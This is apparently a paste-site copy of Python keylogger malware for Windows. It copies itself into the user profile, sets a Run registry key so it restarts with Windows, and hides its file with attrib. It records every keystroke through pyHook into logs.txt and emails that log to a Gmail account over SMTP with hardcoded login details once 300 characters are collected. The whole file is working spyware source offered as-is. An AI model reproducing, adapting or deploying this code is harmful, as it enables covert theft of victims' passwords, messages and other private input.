· 9 years ago · Apr 17, 2017, 04:36 PM
1#!/usr/bin/env python
2#-*- coding: utf-8 -*-
3import pythoncom, pyHook, os, sys, win32gui, time, mechanize, subprocess, thread, smtplib
4import mimetypes
5from email.MIMEMultipart import MIMEMultipart
6from email.MIMEBase import MIMEBase
7from email.MIMEText import MIMEText
8from email.mime.image import MIMEImage
9from email.Utils import COMMASPACE, formatdate
10from email import Encoders
11
12logs = str()
13
14worm = os.path.split(sys.argv[0])[1]
15
16subprocess.call("copy "+worm+" %userprofile%\\", shell=True)
17subprocess.call("reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /f /v AwesomeStuff /d %userprofile%\\"+worm, shell=True)
18subprocess.call("attrib +s +r +h %userprofile%\\"+worm, shell=True)
19
20def stop():
21 time.sleep(10)
22 sys.exit()
23
24def send_mail():
25 filePath = "logs.txt"
26
27 From = '@gmail.com' #Hello little boy who found @gmail with google dorks
28 To = '@gmail.com'
29
30 msg = MIMEMultipart()
31 msg['From'] = From
32 msg['To'] = To
33 msg['Date'] = formatdate(localtime=True)
34 msg['Subject'] = 'Logs'
35
36 msg.attach(MIMEText('Theses are the logs'))
37
38 smtp = smtplib.SMTP('smtp.gmail.com:587')
39 smtp.starttls()
40 smtp.login('youporn@gmail.com',"emma_watson") #Hello little boy who found @gmail with google dorks
41
42 ctype, encoding = mimetypes.guess_type(filePath)
43 if ctype is None or encoding is not None:
44 # No guess could be made, or the file is encoded (compressed), so
45 # use a generic bag-of-bits type.
46 ctype = 'application/octet-stream'
47 maintype, subtype = ctype.split('/', 1)
48 if maintype == 'text':
49 fp = open(filePath)
50 # Note: we should handle calculating the charset
51 part = MIMEText(fp.read(), _subtype=subtype)
52 fp.close()
53 elif maintype == 'image':
54 fp = open(filePath, 'rb')
55 part = MIMEImage(fp.read(), _subtype=subtype)
56 fp.close()
57 elif maintype == 'audio':
58 fp = open(filePath, 'rb')
59 part = MIMEAudio(fp.read(), _subtype=subtype)
60 fp.close()
61 else:
62 fp = open(filePath, 'rb')
63 part = MIMEBase(maintype, subtype)
64 part.set_payload(fp.read())
65 fp.close()
66 # Encode the payload using Base64
67 Encoders.encode_base64(part)
68 part.add_header('Content-Disposition', 'attachment; filename="%s"' % filePath)
69 msg.attach(part)
70 smtp.sendmail(From, To, msg.as_string())
71
72
73
74
75def OnKeyboardEvent(event):
76 global logs
77
78 g = open("logs.txt", "a")
79 if event.KeyID == 5:
80 g.close()
81 sys.exit()
82 elif event.KeyID == 8:
83 logs = "[BACKSPACE]"
84 elif event.KeyID == 9:
85 logs = "[TAB]"
86 elif event.KeyID == 13:
87 logs = "[ENTER]"
88 elif event.KeyID == 37:
89 logs = "[LEFT]"
90 elif event.KeyID == 38:
91 logs = "[UP]"
92 elif event.KeyID == 39:
93 logs = "[RIGHT]"
94 elif event.KeyID == 40:
95 logs = "[DOWN]"
96 else:
97 logs = chr(event.Ascii)
98 g.write(logs)
99 g.close()
100
101 d = open("logs.txt", "r")
102 data = d.read()
103 d.close()
104
105 if len(data) >= 300:
106 try:
107 send_mail()
108 thread.start_new_thread(stop, ())
109 except:
110 pass
111
112send_mail()
113def fbk_main():
114 if os.path.exists("logs.txt") == False:
115 f = open("logs.txt", "w")
116 f.close()
117
118 hm = pyHook.HookManager()
119 hm.KeyDown = OnKeyboardEvent
120 hm.HookKeyboard()
121
122 pythoncom.PumpMessages()
123
124
125
126while True:
127 w = win32gui
128 w_name = w.GetWindowText(w.GetForegroundWindow())
129 fbk_main()
130
131 time.sleep(5)